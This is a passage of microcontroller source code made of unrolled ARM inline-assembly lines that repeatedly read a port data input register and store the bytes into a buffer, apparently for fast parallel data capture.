[%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 32\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 48\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 320\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 16\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 16\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 16\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 896\n\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 16\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 32\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 48\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 64\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 16\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 16\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], 